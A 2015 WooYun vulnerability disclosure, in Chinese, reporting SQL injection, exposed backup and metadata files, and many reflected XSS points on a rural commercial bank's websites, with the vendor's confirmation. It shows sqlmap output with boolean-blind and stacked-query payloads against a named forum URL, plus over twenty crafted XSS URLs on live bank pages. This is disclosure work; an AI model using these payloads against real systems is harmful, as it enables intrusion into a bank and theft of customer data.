当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121584

漏洞标题:中山农商银行sql注射&小问题打包

相关厂商:中山农村商业银行股份有限公司

漏洞作者: 带头大哥

提交时间:2015-06-19 13:39

修复时间:2015-08-07 11:40

公开时间:2015-08-07 11:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-19: 细节已通知厂商并且等待厂商处理中
2015-06-23: 厂商已经确认,细节仅向厂商公开
2015-07-03: 细节向核心白帽子及相关领域专家公开
2015-07-13: 细节向普通白帽子公开
2015-07-23: 细节向实习白帽子公开
2015-08-07: 细节向公众公开

简要描述:

一点寒光万丈芒
屠尽天下又何妨
深埋不改凌锐志
一聚风云便是皇

详细说明:

0x01:sql注射

Sql注射点到为止,所属银行所以没有深入


C:\>sqlmap.py -u http://bbs.zsebank.com/bbs/bbs_audit_moderator.jsp?fid=1993
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150531}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:27:26
[13:27:27] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:27:28] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=1993 AND 5948=5948
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: fid=1993;WAITFOR DELAY '0:0:5'--
---
[13:27:31] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[13:27:31] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\bbs.zsebank.com'
[*] shutting down at 13:27:31


1.jpg


漏洞证明:

0x02:小问题礼包

遍历:http://bbs.zsebank.com/bbs/desktop.jsp.bak
http://pop.zsebank.com/kmail/images/_notes/dwsync.xml
泄露:http://bbs.zsebank.com/bbs/.DS_Store


0x03:N+1处XSS

http://www.zsebank.com/zh-CN/news001.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100096522
http://www.zsebank.com/zh-CN/introduce008.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100096051&sfid=100096048
http://www.zsebank.com/zh-CN/products002.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100098092
http://www.zsebank.com/zh-CN/products.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100096382
http://www.zsebank.com/zh-CN/introduce001.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100095655
http://www.zsebank.com/zh-CN/news003.html?newsTypeID=100010397&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/news001.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&pageIndex=1&proTypeID=100096522
http://www.zsebank.com/zh-CN/products.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&pageIndex=1&proTypeID=100096382
http://www.zsebank.com/zh-CN/introduce008.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100096026
http://www.zsebank.com/zh-CN/introduce008.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&pageIndex=1&proTypeID=100096051&sfid=100096048
http://www.zsebank.com/zh-CN/news004.html?newsTypeID=100010400&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/products002.html?proTypeID=100098092&proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/introduce011.html?newsTypeID=100010395&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/introduce002.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100095659
http://www.zsebank.com/zh-CN/news007.html?pageIndex=1&newsTypeID=100010506&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/introduce003.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100095842
http://www.zsebank.com/zh-CN/news004.html?pageIndex=1&newsTypeID=100010400&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/introduce011.html?pageIndex=1&newsTypeID=100010395&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/news003.html?pageIndex=1&newsTypeID=100010397&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/products004.html?proTypeName=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E&proTypeID=100098056
http://www.zsebank.com/zh-CN/news002.html?newsTypeID=100010395&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/news003.html?newsID=100093502&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E
http://www.zsebank.com/zh-CN/news002.html?pageIndex=1&newsTypeID=100010395&newsType=--%3E%27%22%3E%3CH1%3E带头大哥%3C%2FH1%3E

修复方案:

尽快修复!深入可能涉及用户数据。

版权声明:转载请注明来源 带头大哥@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-06-23 11:39

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:10
正在联系相关网站管理单位处置。

最新状态:

暂无